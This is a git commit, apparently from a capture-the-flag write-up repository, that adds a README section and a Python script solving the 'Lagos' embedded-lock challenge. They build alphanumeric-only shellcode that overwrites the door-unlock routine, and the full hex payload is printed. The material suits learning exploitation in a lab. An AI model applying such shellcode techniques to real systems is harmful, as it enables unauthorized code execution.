Solve Lagos
This commit is contained in:
parent
57338cd6fd
commit
e139538d7e
68
README.md
68
README.md
@ -637,4 +637,72 @@ this attack doesn't work.
|
||||
|
||||
## Lagos
|
||||
|
||||
In this exercise, the input characters are restricted to the alphanumeric
|
||||
range. As a result, we can only inject bytes within the following specified
|
||||
ranges:
|
||||
|
||||
```
|
||||
0x30 - 0x39 ; 0-9
|
||||
0x41 - 0x5a ; A-Z
|
||||
0x61 - 0x7a ; a-z
|
||||
```
|
||||
|
||||
This constraint narrows down the available instructions, but after some
|
||||
experimentation, we can identify the following potentially useful instructions:
|
||||
|
||||
```python
|
||||
FILL_BYTE = "30"
|
||||
ADD_8_TO_R10 = "7a52"
|
||||
ADD_1_TO_R10 = "5a53"
|
||||
ADD_R10_TO_R14 = "4e5a"
|
||||
JMP_6F_FORWARD = "7a34"
|
||||
NOP = "4f5a" # ADD_R10_TO_R15 but since we do not need R15 it acts as a NOP
|
||||
```
|
||||
|
||||
The application permits a return pointer injection, but upon closer examination
|
||||
of the code, we find that we can directly override the code at the
|
||||
`conditional_unlock_door` location. The memory layout is as follows:
|
||||
|
||||
```
|
||||
43ed ; application copies input text to this address
|
||||
|
||||
4446 ; <conditional_unlock_door>
|
||||
|
||||
; part of INT procedure
|
||||
4602: 0f4e mov r14, r15
|
||||
4604: 8f10 swpb r15
|
||||
4606: 024f mov r15, sr
|
||||
4608: 32d0 0080 bis #0x8000, sr
|
||||
460c: b012 1000 call #0x10
|
||||
```
|
||||
|
||||
When we notice this, we can swiftly develop an attack strategy. First, we fill
|
||||
up the section up to `conditional_unlock_door` with a filler byte. Next, our
|
||||
objective is to load `0x7f` into r14 so that the INT procedure utilizes it to
|
||||
unlock the door. Finally, we just need to advance the PC to the INT procedure
|
||||
located at `4602`.
|
||||
|
||||
In Python, we can use the following code to create the shellcode:
|
||||
|
||||
```python
|
||||
SHELL_CODE = FILL_BYTE * 89 # fill memory till conditional_unlock_door
|
||||
SHELL_CODE += ADD_8_TO_R10 * 15
|
||||
SHELL_CODE += ADD_1_TO_R10 * 7 # increment r10 to 0x7f
|
||||
SHELL_CODE += ADD_R10_TO_R14 # set r14 to 0x7f (r14 is '0' initially)
|
||||
SHELL_CODE += NOP * 76 # forward PC
|
||||
SHELL_CODE += JMP_6F_FORWARD # jump to 4602
|
||||
print(SHELL_CODE)
|
||||
```
|
||||
|
||||
We can either experiment with the number of NOP instructions until we reach the
|
||||
correct location or directly calculate it. The empirical approach might be a
|
||||
bit easier. By using this method, the resulting shellcode looks like this:
|
||||
|
||||
```
|
||||
30303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030307a527a527a527a527a527a527a527a527a527a527a527a527a527a527a525a535a535a535a535a535a535a534e5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a7a34
|
||||
```
|
||||
|
||||
And this solves the Lagos challenge as expected.
|
||||
|
||||
## Chernobyl
|
||||
|
||||
|
15
lagos.py
Normal file
15
lagos.py
Normal file
@ -0,0 +1,15 @@
|
||||
FILL_BYTE = "30"
|
||||
ADD_8_TO_R10 = "7a52"
|
||||
ADD_1_TO_R10 = "5a53"
|
||||
ADD_R10_TO_R14 = "4e5a"
|
||||
JMP_6F_FORWARD = "7a34"
|
||||
NOP = "4f5a" # ADD_R10_TO_R15 but since we do not need R15 it acts as a NOP
|
||||
|
||||
SHELL_CODE = FILL_BYTE * 89 # fill memory till conditional_unlock_door
|
||||
SHELL_CODE += ADD_8_TO_R10 * 15
|
||||
SHELL_CODE += ADD_1_TO_R10 * 7 # increment r10 to 0x7f
|
||||
SHELL_CODE += ADD_R10_TO_R14 # set r14 to 0x7f (r14 is '0' initially)
|
||||
SHELL_CODE += NOP * 76 # forward PC
|
||||
SHELL_CODE += JMP_6F_FORWARD # jump to 4602
|
||||
print(SHELL_CODE)
|
||||
|
Loading…
Reference in New Issue
Block a user